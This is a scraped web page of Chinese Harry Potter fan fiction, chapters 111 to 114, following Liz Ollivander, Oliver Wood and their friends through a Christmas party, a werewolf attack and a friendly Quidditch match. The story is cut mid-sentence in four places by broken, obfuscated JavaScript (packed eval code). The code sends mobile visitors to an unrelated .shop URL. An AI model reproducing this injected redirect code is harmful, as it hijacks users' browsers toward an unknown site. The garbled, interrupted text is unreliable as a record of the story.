RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487899|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“你说的都对,可以了吗,史密斯女士。”帕特里克直起身,望向没有加入对话的莉兹,“我猜你沉默的时间已经长到可以给出一个完整计划了。” 被提醒的莉兹回过神,算是有把握地应声回道:“虽然并不算完整,但我确实有计划了。” 她顿了顿,把先前叫停的一个选题板重新从角落拿了出来:“之前奥利弗跟各大俱乐部沟通得到的资讯都在这里,魁协解散后资金去向不明,国内的俱乐部通通停业,选手们成批搬去国外。” “所以?”杰姬问。 “亚克斯利不应该在魔法部在职位上对这件事视而不见,老混蛋一直在玩隐身。”难得谈到了专业领域,伍德没忍住控诉道。 “我们需要一个回答。”莉兹两手环抱,点头说着。 “等等,所以呢,这到底和桑帕克有什么关系?”杰姬着急了。 “确实没关系,”帕特里克无奈地站起来,“她在讽刺我。” “政治家的游戏有趣吗?”莉兹微微一笑,“挺无聊的不是吗,但我们也会玩的。” 重提亚克斯利与英格兰魁地奇协会的事情,《魁地奇夜话》在黄金时段扔下了一个足够有力的烟雾弹,吸引了其他大众媒体的共同追问,趁着一众记者们与官方周旋的当口,莉兹和伍德上门去采访了桑帕克的家人。 斯克林杰大约是完全没想过会在解释魁协事件的记者会上看到桑帕克一家人,帕特里克看着铁面无私的部长被记者们挤在高台上,心里莫名有些畅快。 于是这一份不可能通过的重审在轮番的压力下成为了现实,桑帕克夫人红着眼看着被摄魂怪折磨得不成人形的儿子,她的控诉与作证都带着哭腔。最喜欢热点话题的丽塔·斯基特一早收到风,她的撰文给这起案子带来了前所未有的关注度。 同样不过真正的政治家又如何会被一群年轻人耍得团团转,斯克林杰大方地将审判庭的旁听证寄给了《魁地奇夜话》或者说是《天狼星观测台》,以包容的态度接受所有媒体的质疑,而可以为这件事负上责任的人,在傲罗办公室里可以找出十来个,在这背后的部长与魔法部则永远是正义的。 拿着旁听证进入审判庭,莉兹在走廊上与推着文件小车的戴维斯擦肩而过,她回头看了他一眼,最后决定什么也不说,这封信只是他的良心但每个人都有自己真正要走的路。 案件经过了漫长而复杂重审的阶段,在圣诞假期来临之前总算有了结果——桑帕克被释放,罗巴兹暂时停职接受调查。 “他们可能不知道‘道歉’这个词怎么拼写吧?”杰姬阴阳怪气说道。 “两个月以后官复原职才是现实。”帕特里克随口回答。 “两个月太久了,我认为假期结束就差不多了。”莉兹附和道。 “和你们俩聊天真是让人心情糟糕。”杰姬摇摇头,刚转头便看到大门被打开。 “嘿!圣诞快乐!” 提着蛋糕的李·乔丹探头看向里面,后面跟着的俩人长着一模一样的脸,他们推推搡搡在门口不留一点空隙,直到后面又传来一声:“小伙子们,不要挡路了!” 安吉丽娜抱着两瓶香槟,挤开前面的人抢先走进了客厅,她看向屋里愣住的三人,高举起酒瓶:“圣诞快乐!” “好久不见!”跟上来的弗雷德凑近她身旁,也一起说着。 “想我们了吗?”紧随其后的乔治走上了前,他看向莉兹,微微勾了勾下巴。 112. 日出时接吻 面对意料之外的来客们,莉兹不自觉摆出了那副茫然的神情,看起来就像在看着另一个世界似的,她慢了两拍才想起要回应乔治的问好,对方倒是一如既往地一点不客气,他走过来拿过了莉兹手上那份还在修改的稿件,大剌剌在沙发上坐下。 “咳,”羊皮纸眨眼又被抽走,“内部文件,谢绝阅读。” “小古板女士还是这么古板,”乔治摇着头,“完全没变呀。” “我会把这句话当作是褒奖的。”莉兹逐渐放松,脸上带上了一点笑意,然后一挥魔杖,将客厅里乱七八糟的信件包裹都打包进了录音室里,又在腾出来的空地儿变出一颗圣诞树,上面有金色的闪片在舞动,最后转头看向了仍然虚掩着没关上的公寓门。 “我早就想来你们工作室瞧瞧了。”李·乔丹在杰姬的带领下在这间小小的公寓逛了一圈,接着推开沙发边的矮桌,弯腰仔细研究着墙上贴着的伦敦地图,上面好几个地方都画上了标记。 “这小子确实是每一期都在收听,还经常给我们写信说你们又聊了什么。”弗雷德点着头说。 “对了,他还给《每日魁地奇》寄了简历,”乔治拍了拍自己旁边李的大腿,“结果面试就被刷了,哈哈哈——” 弗雷德跟着一块儿笑了起来,安吉丽娜无奈地看了兄弟俩一眼,李便立马直起身控诉道:“这么说我可算是诽谤,明明就是是我刷了他们。” 听到老东家的名字,杰姬起了兴趣反问道:“说来听听?” “敢相信吗,面试官居然出题问我怎么看待英魁协新规,”李·乔丹两手摊开在原地转了半圈,确认自己和每个人都进行了眼神交流后继续说,“我肯定只能说那就是一坨大粪蛋,我还能说些什么吗?” “那更不应该淘汰你了,”帕特里克笑了笑,“这明明是正确答案。” “就是嘛!”李喊出声。 此时晚归的伍德终于推开了虚掩的门,他大包小包提着许多礼物,看起来有点手忙脚乱的,原本倚在沙发边旁听李讲述面试经过的莉兹走过去帮忙扶住了门,伍德很自然地低头在她面颊上亲了亲,一个带着点凉气的吻。 “你把商店都搬空了吗?”莉兹小声感叹道。 “还有惊喜呢。”伍德将手里的东西都放到一旁,侧过身让开一点距离,对着身后的两个人做出了邀请的手势。 莉兹没能看清他们,走在前的秋·张已经张开双臂紧紧抱住了她,女孩开口问:“一切都好吗?” “一切都好。”莉兹深吸一口气,一边回应拥抱一边回答说。 “这可不公平,”屋子里的安吉丽娜指着门口叫道,“奥利凡德选手的拥抱,我也要一个!” 她快步走向她们,凭借着身高便利揽住了俩人,而她的那一声也将其他人的视线都吸引了过去,弗雷德最先反应过来,冲到安吉丽娜身后,轮流和伍德还有几个姑娘都拥抱了一次,连剩下那位还没进门的陌生面孔也被他拉进了这个抱抱圈里。 于是接下来的几分钟里,所有人和玩接力游戏似的彼此之间都交换了一个拥抱,个头最小的莉兹几乎没有拒绝的机会,每个人都能轻而易举就单手将她揽进怀里,乔治甚至揉了揉她依然乱糟糟的卷发,虽然安吉丽娜很快就伸手解救了莉兹,但她也完全不想撒手。 放弃挣扎的莉兹无奈撇了撇嘴,心想着还没开香槟呢,怎么大家都像已经喝醉了。 实在看不过去的伍德将朋友们带来的东西一个个拿出来摆满了整个餐桌,继而招呼他们落座,被挤在中间的莉兹得到了解脱,她调整着呼吸,总觉得这样的热闹太过真实了反而像是在做梦一样。 秋主动向其他人介绍起了利亚姆·特拉维斯,就是那位最后进门还要被弗雷德强行拉过来拥抱的年轻人,他哪怕是坐着也比身材最高大的伍德看起来要壮实许多,见他脱去了外套,旁边的杰姬不禁看着他的胳膊哇了一声。 “因为他在麻瓜的足球俱乐部踢球,而且踢得非常非常厉害。”伍德将安吉丽娜带来的香槟打开,“那么,再次祝圣诞快乐!” “圣诞快乐!” 大家举杯和两边的人碰了碰,最喜欢热闹场合的杰姬觉得只有香槟还是太寡淡了,起身拿过了架子上的锅子,她要再做点自己最拿手的蛋酒,一边搅拌着还一边提醒道:“莉兹不要拿错杯子哟。” 经过了一年的成长,酒量依旧很糟糕的莉兹别开脸,切开一块烤鸡塞进嘴里,懒得搭理杰姬的调侃。 而在麻瓜世界生活了太久,很少和同龄的年轻巫师们相处的利亚姆则是觉得使用魔法制作饮品的过程太奇妙了,悬浮在空中的蛋液与牛奶盘旋着落回锅中,香甜的气息便笼罩了整个餐桌。 之后莉兹当然只得到了一杯酒精含量接近于无的蛋酒,她和过去一样专心致志对付着桌上的每一道美食,仿佛回到了在霍格沃茨礼堂里吃饭的时候,她总能获得最简单的满足感,一点都不在乎桌上都聊了些什么话题。 直到听见安吉丽娜提到她签约了西班牙的魁地奇俱乐部,一月之后就会搬去巴塞罗那和维克多·克鲁姆成为队友。很显然说到这里就已经足够了,即便签约的消息还没有登上《魁地奇速报》,不过无论是伍德还是莉兹都很清楚她所说的是哪一家俱乐部。 果不其然,安吉丽娜下一句就说出了她的名字。 “米歇尔在英格兰的选择还有很多,我很想知道为什么奥利弗不一起去西班牙,”她看放下手里的叉子,“还有莉兹,我想那里一定有两个位置是留给你们的。” 笨嘴拙舌的伍德直接转移了话题,将李带来的圣诞蛋糕端上了桌,莉兹便也干脆用上了自己最擅长的技能——沉默。 “我就说奥利弗的灵魂到了你身上一直没走,”弗雷德主动插话道,“得赶紧给你驱灵——驱灵——” 趁着有人捣乱的功夫,莉兹将角落里塞西尔送的一盒磁带塞进了收音机,乐声响起,杰姬说这是她很喜欢的歌,拿起酒杯离开座位,利亚姆和秋也跟着一块儿随着音乐开始晃动着,弗雷德便也牵过安吉丽娜的手,刚刚一瞬间的尴尬就这样消散不见。 “很抱歉这么久没有和你们联系。”莉兹对着旁边向自己走近的乔治说,她是在回复兄弟俩在信中的那几句对她的提问。 “其实我们也会从塞西尔那里听到你的消息的,”乔治微笑,看向了她的眼睛,“只是总部不经常开会,你的姑姑也经常来无影去无踪。” “这个我无法反驳……”莉兹松了一口气,然后意识到自己听见了一些应该称得上是秘密的事情,她眨了眨眼,乔治便又点了点头。 “所以你们也可以无条件相信韦斯莱笑话商店哦。”乔治说道。 “我们本来就在相信了。”莉兹轻声说着,二人之间那种许久未见的疏离感在慢慢被蛋酒融化。 在厨房的伍德望向已经处在派对状态的大家,回头看了看已经见底的蛋酒和香槟,又瞥了一眼在聊天的莉兹和乔治,他承认自己还在惦记安吉丽娜那突兀的话题,最后没有选择加入任何一边,而是推开莉兹的房门,准备将收在储藏室柜子里剩下的两打黄油啤酒再搬出来。 门一点点合上,将外面的喧嚣隔开,他抱着啤酒站在墙边,伍德觉得自己终于能喘上气了。 “嘿——”谁料安吉丽娜竟然走了进来。 “我……我准备给你们拿点儿喝的。”伍德避开了视线。 “对不起,我刚刚没想太多,”安吉丽娜道歉,“我只是——只是觉得很可惜。” 见伍德没有立 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487900|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刻开口,她补充道:“现在国内不能再打魁地奇了,你不觉得后悔吗,我是说,机会距离你这么近,你不觉得心动吗?” “我说不心动一定听起来很像是在说谎吧,”伍德轻笑了一声,“但是我没办法忘记,你知道眼睁睁看着那种事情发生自己却只能接受是什么感觉吗,队友的家人因为是麻瓜出身所以要被逐出球场?那真的太奇怪了。” 安吉丽娜低下了头,默默咬紧了牙关。 “对当时的我来说,如果魁地奇是需要我逃跑才能继续的运动,现在暂时离开,我是一点也不后悔。”伍德反过来安慰着安吉丽娜,“至于你抓住的机会,那就是属于你的,没有什么机会是更值得选择的,只有更想要的机会。” “我也会回来打魁地奇的,我一定会回来的。”安吉丽娜抬起头。 “等到那时我们再做队友。”伍德举起拳头,“不过不要算上莉兹,她有自己最想要做的事情,那不是魁地奇。” “我知道啦!”安吉丽娜哈哈笑着,接过一打啤酒先走出了门,跟在后面的伍德走出来刚好看到莉兹正朝着这里看过来,想到自己前一秒才替她做了解释,突然间觉得有点不好意思。 但是莉兹也没在意伍德的表情,她用一杯茶换走了秋手上的酒杯,稍微有些喝多了的秋一改常态,仿佛打开了什么话匣子。 “我想了很久,一直在想我应该做些什么,我又能做些什么,”秋说着,“我并不是一个能够真正去战斗的巫师,我不会像你也不会像塞德,但我想救人,救下更多的人,我想做治疗师……” 莉兹沉默了一下,然后开口:“你能做到的。” “圣芒戈要求五门都是优秀……”秋长长叹了一口气。 而在莉兹想着要怎么表达支持时,利亚姆冲着这里喊了一声:“嘿!你们玩儿扑克牌吗!” 他干脆利落地打断了姑娘们的这点愁思,没等秋给出回答,两个人就已经被拉了过去。同样是第一次听说桥牌规则的莉兹简直是战无不胜,把利亚姆都吓了一跳,帕特里克和秋加起来也无法让她落下风,最终被“礼貌”请出了战局,坐上了旁观席位。 一群人热热闹闹凑在一起玩到了后半夜,桥牌散场后,秋和安吉丽娜挤在了莉兹的床上睡着了,李钻进了录音室偷看过去节目的稿件,双胞胎们和杰姬还有利亚姆玩着一种麻瓜们的划拳游戏,结果四个人把自己喝倒了,帕特里克只好跟伍德一起帮他们收拾残局。 莉兹一个人悄悄爬上了屋顶,前半夜下着的雪已经停了,地上有一层薄薄的雪,时不时闪着光,星星点点的。她裹紧了身上的大衣,呆呆望着雾蒙蒙的天,将胸口的项链握在手中,吊坠在手心划出一个守护神咒,那颗石头便也亮了起来 “莉兹。” 她当然知道这时候能猜到她在这儿的人只有谁,听到对方的声音时,她露出了笑容。 伍德紧挨着她坐下,用自己的斗篷将两个人都包住,把自己身上的热气一点点地传递给她。 “真奇怪啊,我一边希望太阳升起,一边又希望时间停止。”莉兹说着。 “但我希望时间不会停止,”伍德回道,“你已经是我的过去和现在了,所以我希望你也是我的未来。” “真不像你说的话。”莉兹抬眼和他对视。 “我应该说些什么?”伍德立马成了老实人。 “我想听的话?”莉兹又开始逗他了。 思考了几秒钟,伍德脸上疑惑的神情变成了面颊的一抹红,他清了清嗓子说道:“我爱你。” 莉兹觉得自己也没有在期待这样真挚的告白,但伍德这个表情还是太过可爱了,惹得她也有些耳朵发烫,于是她直起了身向他凑近,用吻藏住了自己的反应,代替了回答。 113. 友谊赛邀请 如果96/97赛季没有被取消的话,新年过后冬季交易窗口关闭,就该是各家魁地奇俱乐部铆足劲冲刺积分榜的时候了,可惜球迷们与选手们都没有等来这个时刻。尽管要求重新组建英格兰魁地奇协会并选举主席的联名信已经收到了上千余人的签名,甚至捐款的数目都十分可观,但是魔法部似乎对这件事并不看重,不仅在召开的几次发布会上将对亚克斯利的惩戒一笔带过,又以正在向欧魁协申请将选举的事情一拖再拖。 每次都赶着大早只为在媒体区抢占到好位置的杰姬被惹恼了几回,回来后将自己的采访本摔在地上喊着:“着急忙慌把大家都叫过去就为了说这么些废话,这种活动我们下次再也不参加了!” “可是我瞧你挺享受和《每日魁地奇》争地盘啊,”帕特里克跟在后头捡起了本子和铅笔,看向沙发上坐着的莉兹和伍德二人,“你们应该一起去见识见识,当年在霍格沃茨打比赛的时候都见不到这样的抢位能力。” “杰姬在校队的时候确实是很棒的击球手。”伍德客观地评价道。 “是啊,我记得她都能把你从扫帚上撞下去。”莉兹抿着嘴笑了笑,抬眼看向了伍德,大约意思是“如果你不记得的话我可以详细介绍一下当时的情景”。 在魁地奇方面依然有着较强自尊心的伍德连忙叫停了莉兹这段回忆,扭头问杰姬:“所以今天是一点儿新鲜事都没有了吗?” “也不能完全这么说,”杰姬挥了挥魔杖给自己倒了杯水,喝了一大口又继续道,“我想你们应该都听说了最近南部几个停牌的俱乐部正在组织友谊赛,因为是民间赛事所以对职业选手的参赛是有限制的,不过今天官方的口风听起来像是要默许参赛了,不知道是不是为了压下联名信的影响。” “至少这不像是个坏消息。”伍德回答说。 很显然,对魁协失去信任的人们有很多种选项,有的人会像安吉丽娜一样去国外联赛,有的人会像伍德一样为了重建而奔走,剩下的则是这群选择放弃既定的游戏规则开始玩自己的游戏的人。差不多十一月底,在联赛停止三个月之后,南部一些停摆的魁地奇俱乐部开始出租原先共用的球场,他们自发组织了民间比赛,每个月会打上两到三场,收取的门票价格低廉,彻底将友谊赛中的“友谊”属性发挥到了极致。 不久之后,伍德成为了为数不多被邀请参加友谊赛的在役选手,给他写信的是在普德米尔时期的队友,年纪超过三十五岁的他在魁协风波后决定提前退役,现在和妻子一起留在了布莱顿家乡的海滨小镇,照顾着刚出生不久的孩子。 对方说霍利黑德哈比队前些日子为布莱顿主场提供了一些赞助,希望可以稍微扩大规模,威尔士的魁地奇俱乐部对此很感兴趣。哈比队的态度如此积极,作为过去的联赛劲敌,普德米尔人总要给出点反馈,他这才决定通知伍德,毕竟年轻且没有离开英格兰的魁地奇选手确实不太多了。加上哈比队的联赛大明星莱莉·塔克也主动问起了伍德的近况,就更没有理由不邀请了。 英魁协的解散与英联赛的停摆给了其他地区联赛发展的机会,出身威尔士的哈比队以前之所以选择进入英联赛,最主要考虑的当然还是市场的大小。现在人们倒是终于记起了所谓的英格兰魁地奇协会,全称本就是大不列颠与北爱尔兰魁地奇协会,只是长年以来都被以伦敦为中心的英格兰占据了话语权而已。 听说伍德收到友谊赛邀请,杰姬才是最高兴的那个,因为无论是联盟的分裂还是友谊赛的专题,在《魁地奇夜话》都已经谈过两次了,但因为一直没能碰上刚好在举办的比赛,加上也采访不到关键的业内人士,她认为节目听起来就很平淡,像是照着书本讲故事,这下总算是有机会去见塔克一面,也有机会见到布莱顿主场的经理了。 时间就这样进入了二月,伦敦被泡进了阴冷的寒雨之中,莉兹觉得潮湿的寒气会顺着木地板爬上她的床,总是睡不实在,关节里隐约的疼痛感令人坐卧难安,深吸一口气翻身起了床,她抬眼就看见杰姬的守护神——一头性格暴躁的野猪在重复撞着她放在床尾的一把椅子。 在对上视线时,杰姬的声音从那里面传来:“救命,快来。” 来不及多想,莉兹潦草套上了外衣,同时拍响了帕特里克与伍德的房门,她担忧的神情和不断传来的求救声让两个人霎时清醒,守护神变成一团白色的光为他们指向了圣芒戈医院的位置。 今日杰姬负责夜巡的范围就在工厂区,他们几个人已经在这里住了很长时间,经常去麻瓜酒吧玩乐的杰姬更是对街道路况了如指掌。前些时间塞西尔送来了卢平教授的消息,听闻狼人们最近频繁侵犯麻瓜,尤其是在伦敦东区,落单的流浪汉们总是在遭殃,杰姬便主动揽下了这活,去买酒顺路施几个保护咒并不困难。 谁料经过一条深巷时,她在夜色中看到垃圾箱旁那高大而骇人的身影,头顶那盏闪烁着的灯隐约照出它身下是个满脸是血的小孩,她的大脑几乎在同一时间停止了思考,剩下的冷静只够提醒自己应该向同伴求救。只是她变出的守护神立刻就吸引了狼人的注意。 在这头野兽向她扑来的瞬间,杰姬本能地使用了两次幻影移形,先闪现过去抱住受伤的小孩,而后再是第二次闪现,他们重重落在了圣芒戈魔法伤病医院的大厅地砖上。 糟糕的是第二次幻影移形时杰姬由于惊恐在移动中不幸分体,从侧腰到胸口留下一道深深的撕裂伤,最后的记忆停留在她抓着一位治疗师的手,对方的卷发乱糟糟的像莉兹一样,她艰难地挤出几个字:“莉兹……狼人……” 卷发男人一听见她提到的名字,整个人蓦地僵硬了一瞬,但是躺在血泊中的姑娘已经陷入了昏厥,他连忙找帮手将她和那个孩子一起送进诊室,分体的伤口只需要简单的处理便能止血。 而小孩脖颈处致命的咬伤,已经被狼人的毒深深侵蚀,双倍的解毒药剂用下去也没有用,狼人伤人事件已经被通报到神奇动物管理控制司,男人站在诊室的床边,下意识向外了看了几眼,就像是在等待什么人的出现。 杰姬准备被移送到病房时,莉兹、伍德与帕特里克三人刚巧赶到了医院,领头的莉兹没等帕特里克开口问杰姬·史密斯的姓名,扭头就拐进走廊,她熟门熟路摸到了夜间诊室的位置,被推出来的那张病床上躺着的正是他们要寻找的同伴。 刚刚时不时张望着的男人也在盖上另一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487901|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张床的白布床单后,长舒了一口气,像是一种无能为力,又像是悬着的心落了下来,他来到走廊,开口叫出了莉兹的名字。 几个月没有和罗里联系,莉兹觉得爸爸的脸看起来有点陌生了,也有可能是因为他瘦了太多,面颊凹陷的模样仿佛变了个人,伍德和帕特里克陪着昏睡中的杰姬去了住院区,她便站在原处应声点了点头。 “这些日子还好吗?”罗里大约是惦记着上次交谈的不愉快,良久才憋出了一句问话。 “还算不错,”莉兹敷衍地回答,“工作很忙,吃得很饱。” “安……安全吗?”罗里尝试着追问。 “现在伦敦哪里都一样。”莉兹很显然并不想继续没有意义的谈话,“刚刚的孩子救不回来了吗?” 罗里摇了摇头,二人听见不远处一阵急促的脚步声,这也成了他们谈话终止的信号,踩着皮靴的塞西尔与库尔特快步朝这里走来,奥利凡德家的三人看向彼此时共享了几秒的沉默,而后莉兹小跑着上了楼,而塞西尔则是向罗里礼节性介绍着同事的姓名,接着开始询问遇难者的情况。 楼上的住院病房里,一直到天光乍亮,止痛的药剂失去了效用,在胸口的疼痛刺激下,杰姬醒了过来,床边三人排排坐着,一个挨着一个还在熟睡中。魔咒伤害科的一个年轻的实习治疗师算准了时间来给她送第二瓶药剂,接过药瓶的时候杰姬小声问道:“昨晚的那个麻瓜小孩怎么样了?” 治疗师垂下了眼睛,遗憾地说道:“麻瓜们对狼毒的抵抗力很低,他没能撑下来,很抱歉。” 巨大的悲伤牵扯着伤口,杰姬痛得叫出了声,流出了眼泪,哭泣声很快惊醒了三个朋友,伍德慌张地看向莉兹,而帕特里克也只能递上一块手帕,他们夜里知道那孩子的悲剧后便已预料到了杰姬的反应,这时候除了让她哭一场,他们也找不出更好的处理方式。 她断断续续抽泣了大半日,尽管强行将自己的注意力放回电台节目上,脑子里也仍然是那孩子血肉模糊的样子,下午时史密斯先生和太太匆忙来到病房,看到父母的那一刻,杰姬的眼泪又止不住了。 “她应该不会怪我通知了她的爸爸妈妈吧。”帕特里克探头看了一眼病房里一家三口。 “很难说哦,她可能哭完了就想起你了。”莉兹冷淡地说着。 “我们只是离家出走而已,”帕特里克两手环抱,“又不是断亲绝爱——父爱和母爱。” “可是后天的比赛要怎么办?”伍德问起了魁地奇比赛的事情。 这熟悉的话语让莉兹与帕特里克觉得有些滑稽,就像上学时的奥利弗·伍德出现在了两个人面前似的。 “你比赛,你写稿,我看家,她住院。”帕特里克点了点他们,“梅林都要赞一句完美。” “你说的梅林是你自己吗?”莉兹反问。 “没我这么年轻。”帕特里克回道。 至于被笑话了的伍德,同时在脑子里处理着对即将到来的比赛的焦虑、对遇难小孩的同情、对杰姬的关心、对帕特里克调侃的无奈,以及一想到后天要单独和莉兹出门过夜,不知道如何形容的心情像一团软绵绵的羊毛线团,惹得他心口发痒。 114. 海滨小镇的雾气 以往若是比赛日,人们总是期待能碰上一个晴朗的天气,和风将那些带着湿气的浓雾吹散,成片的乌云也化开,太阳躲在高高的云层后面,不会晃着人的眼睛。但今日这仿佛盖住了整条海岸线的灰雾,让人不敢相信这里是传闻中热闹的海滨小镇,莉兹穿着薄底的帆布鞋踩上鹅卵石海滩,硬梆梆的,空气里的水汽带着海风的味道,她的头发在雾气中炸开成一团,她的脸好像埋在了卷发里。 她拿出杰姬借给她的相机,拨开碍事的头发从取景器里再看海岸与那藏在雾气之后的布莱顿主场,还没有按下快门,镜头突然被人影挡住了一半,骑着飞天扫帚的伍德在半空中转了一圈然后停在了她的跟前。也许是太久没有真正接触魁地奇的机会了,他眼里都像是闪着光似的,跳下扫帚便转身快步向她奔来。 “哈比队刚刚已经到更衣室了,塔克说可以接受我们的专访,托马斯说布莱顿的球队经理马上就会来,我们比赛开始之前一起去找他。” 热身太过起劲的伍德脑门上都是汗珠,深色训练服包裹着健壮的身体,明显的大块肌肉和那副有些憨傻的表情不太搭调,有段时间没有修剪的头发长了许多,但仍然和以前一样每簇头发都有自己的想法,要么翘起来要么就打着卷。 “你还是短头发看起来比较利落。”莉兹没有先回复伍德说的正事,而是向后一步站上了台阶,用手指了指他的头。 听到这一句关于头发的评价,伍德也看向了莉兹乱蓬蓬的脑袋,每当下雨天或者大雾天,只要是湿度大的时候,她的卷发就变成平时两倍的体积,走起路时摇来晃去的,手感也是软绵绵的。虽然这是他后来才知道的事情,但在霍格沃茨刚认识她那阵子,伍德就已经在好奇了,不过总是会被那双被卷发挡住的银白眼睛吸引走注意力,让他大脑一片空白,失去正常的思考能力。 应该是发现了伍德的视线,莉兹晃了晃头,轻哼了一声,看向一边。 揉了揉自己的头发,伍德向她靠近:“你要帮我剪头发吗,我咒语用得不好。” “我会给你剃成光头哦。”莉兹坏心眼地戳了戳他的胸口。 “只要你不讨厌我光头的样子……”伍德笑了一下,然后稍稍低头,将脸颊凑近,“比赛要开始了,给我点祝福吧,奥利凡德女士。” “木头先生,得寸进尺可不是什么好习惯。”嘴上这么说着的莉兹捏住伍德的耳朵,用了点力气,痛得伍德就要皱起眉头,下一秒却抬起另一只手托住他的脸。 一个猝不及防的亲吻再次让伍德吃了一惊,慢了半拍正要回吻又被莉兹一把推开:“守门员还不去候场吗?” 望着他飞回球场的身影,莉兹也迈开步子走进了那片浓雾,与海边只有风声的环境完全不同,尽管只开放了三分之一的看台作为观众席,但无论是喧闹声还是挂满了南看台的横幅都让这一场友谊赛看起来像是一场足够正规的联赛比赛。 伍德曾经的队友托马斯在入口处向她招手,加快脚步走到提前安排好的位置,对方主动介绍了自己的妻子和仍在襁褓中的孩子,莉兹努力在她关于普德米尔的记忆中寻找着托马斯的章节,在一段稍微有点模糊的片段里看到了一个在球场上摇摇晃晃骑着儿童扫帚的自己被一个年轻人单手拎起来的画面。 原来是这个托马斯,莉兹点头回应着对方,一想到和米歇尔女士做过队友的人后来也和伍德做了队友,她总觉得哪里怪怪的,被抱在怀里的小孩伸手抓住了她的衣摆,也打断了她的回忆。 将相机和采访本拿出来放在腿上,莉兹朝四周看了看,除了她之外好像没有其他的媒体人出现,这倒是也不难理解。 处于立场上的对立,布莱顿并不会邀请《预言家日报》或是《魁地奇速报》这样主流的媒体,《每日魁地奇》也是一样,适度的曝光确实有利于赛事的传播与扩大,可目前的状况并不允许他们冒险。 观众席的欢呼声陡然间变大,由莱莉·塔克带领的霍利黑德哈比队飞入场内,她们的斗篷缝着金色的边,被黑色的丝绒底衬托着,在雾蒙蒙的天气里都额外显眼。随着欢呼声的延续,球场另一边,再次穿上普德米尔联队球衣的伍德飞在最前面,几分钟前还在场边逗孩子的托马斯也披上了蓝色的斗篷,飞在队伍的末端,举起魔杖朝向天空点燃一束蓝绿色的烟花,笼罩在半空的浓雾被驱散,迎来了一片清明。 裁判留着长长的白胡子,莉兹记得他过去主裁过六届欧冠决赛和两届世界杯决赛,在米歇尔女士退役前就退休了,她甚至不确定他跟邓布利多校长的年纪谁更大一些。 “比赛开始!” 哨声响起,洪亮的声音震动了球场,莉兹紧盯住被抛到半空的鬼飞球,久违地进入了观看魁地奇比赛的状态。普德米尔这边基本都是退役了或者曾经是青训的半业余选手,与哈比队这样仍然活跃在威尔士职业联赛的魁地奇队伍相比,若是不能做好完备的防守,同时尽快抓住金色飞贼的话,今晚大约会看到一场分差巨大的惨案。 意料之中,气氛还没炒热,伍德已经将四个球挡出了球门,身为找球手的莱莉·塔克在助攻上简直像妖精一样神出鬼没,不愧是大明星级别的选手,全欧洲最高的签约费和年薪就应该给这种选手才对。也不是说威克多·克鲁姆配不上那一千万,只是莉兹觉得能担得起如此身价的选手总要身负一些责任,他看起来就像个被保护了二十年只会打魁地奇的家伙。 很显然,后防线上的缺失让伍德累得够呛,他无论睁眼还是闭眼都觉得有鬼飞球在朝他飞来。将近一年没有参加高强度比赛的他在金色飞贼被抓住后几乎要从扫帚上滚下来,大脑没有余力去思考普德米尔究竟输了多少分,他只想感谢塔克竟然在一百六十分钟的时候抓住了金色飞贼,而不是把比赛一直拖到天黑。 莉兹看他摇摇晃晃飞落地,拖着飞天扫帚瘫倒在场边,忍不住笑出了声,这一年的休赛把他的脾气都休好了,要是以前碰上这样的后防表现,伍德在球场上就能把游走球打在队友肚子上让他们都清醒一点。 快步走过台阶下到球场,莉兹看了一眼伍德而后拿着采访本走向场边的莱莉·塔克,提前已经知会过了这场访谈,塔克也做好了准备,拿起水壶喝了一口水便点头与她打招呼。 “好久不见,我之前以为我们的下次见面会是在球场上。” “很抱歉,我一直没有回复哈比队的试训邀请。” “这没什么的,不用放在心上,何况你也拒绝了普德米尔和巴塞罗那不是吗?” “我的故事没有那么有趣,毕竟是对您的专访,我能冒昧问一下为什么您坚持要从威尔士来支持布莱顿主场,我是说,考虑到周中还有一场欧冠比赛,和圣巴黎的那一场。” “英联赛二十支球队,只有出身威尔士的我们与出身北爱尔兰的渡鸦队没有受到英魁协的影响,但唯一能维持盈利的也就剩下了我们,如果我们都拒绝援助,我想英魁协再也不会回来了。” “您还是会期待重建英魁协的是吗?” “由人们犯下的错,不应该让魁地奇买单……况且,这是能重新洗牌的机会,你难道不希望在接下来的时间看到更多女选手?” “是的,我希望英魁协有六个女性委员。” “你说我有私心也可以,但没有无缘无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487902|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 故的善意,这很普遍,不是吗?” “我喜欢您的私心。” …… 